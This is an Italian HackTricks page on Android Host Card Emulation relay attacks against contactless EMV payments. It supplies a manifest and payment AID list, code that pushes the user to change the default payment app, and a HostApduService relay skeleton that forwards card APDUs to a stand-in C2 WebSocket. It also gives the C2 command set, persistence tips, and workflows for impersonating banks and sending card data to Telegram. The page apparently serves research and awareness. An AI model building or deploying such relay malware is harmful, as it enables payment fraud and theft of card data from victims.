Android HCE NFC/EMV Relay Attacks

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

L’abuso di Android Host Card Emulation (HCE) permette a un’app malevola impostata come servizio di pagamento NFC predefinito di inoltrare transazioni contactless EMV in tempo reale. Il terminale POS comunica via ISO 14443-4/EMV con il telefono; il HostApduService dell’app riceve APDUs e le inoltra su un C2 bidirezionale (spesso WebSocket) a un backend che costruisce le risposte, che vengono poi rilanciate al POS. Questo consente l’emulazione della carta live senza dati della carta memorizzati localmente. Campagne osservate su larga scala si spacciano per app di banche/governo, invitano a diventare l’app di pagamento predefinita e auto-esfiltrano i dati del dispositivo/della carta verso bot/canali Telegram.

Caratteristiche principali

  • Componenti Android: HostApduService + default NFC payment handler (category ā€œpaymentā€)
  • Trasporto/C2: WebSocket per il relay di APDU; Telegram bot API per exfil/ops
  • Flusso operativo dell’operatore: comandi strutturati (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • Ruoli: scanner (read EMV data) vs tapper (HCE/relay) builds

Blocchi minimi per l’implementazione

Manifest (diventare il servizio HCE di pagamento predefinito)

<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>

Esempio di elenco AID con categoria pagamento EMV (solo le app impostate come pagamento predefinito possono rispondere a questi AID):

<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/>   <!-- AmEx -->
</aid-group>
</host-apdu-service>

Richiedi all’utente di impostare l’app di pagamento predefinita (apre le impostazioni del sistema operativo):

val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

Scheletro di HostApduService relay

class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}

Nota utile: il servizio in background deve rispondere entro il POS timeout budget (~pochi centinaia di ms) per APDU; mantenere un socket a bassa latenza e pre-auth con il C2. Persistere attraverso la terminazione del processo usando un foreground service secondo necessitĆ .

Tipico set di comandi C2 (osservato)

login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

Scambio contactless EMV (introduzione)

Il POS controlla il flusso; l’app HCE si limita a inoltrare gli APDU:

  • SELECT PPSE (2PAY.SYS.DDF01)
  • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
  • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
  • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
  • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
  • 80 AE 80 00 Lc 00

In un relay, il backend crea validi FCI/FCP, AFL, record e un cryptogram; il telefono semplicemente inoltra i byte.

Flussi di lavoro degli operatori osservati sul campo

  • Deception + install: l’app si traveste da portale bancario/governativo, mostra una WebView a schermo intero e richiede immediatamente di diventare l’app NFC di pagamento predefinita.
  • Event-triggered activation: il tap NFC risveglia HostApduService; il relay inizia.
  • Scanner/Tapper roles: una build legge i dati EMV da una carta vittima (PAN, exp, tracks, device/EMV fields) e exfiltrates; un’altra build (o lo stesso dispositivo in seguito) esegue il relay HCE verso un POS.
  • Exfiltration: i dati del dispositivo/carta vengono automaticamente postati su canali/bot Telegram privati; WebSocket coordina le sessioni e le richieste UI (ad es., PIN UI sul dispositivo).

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks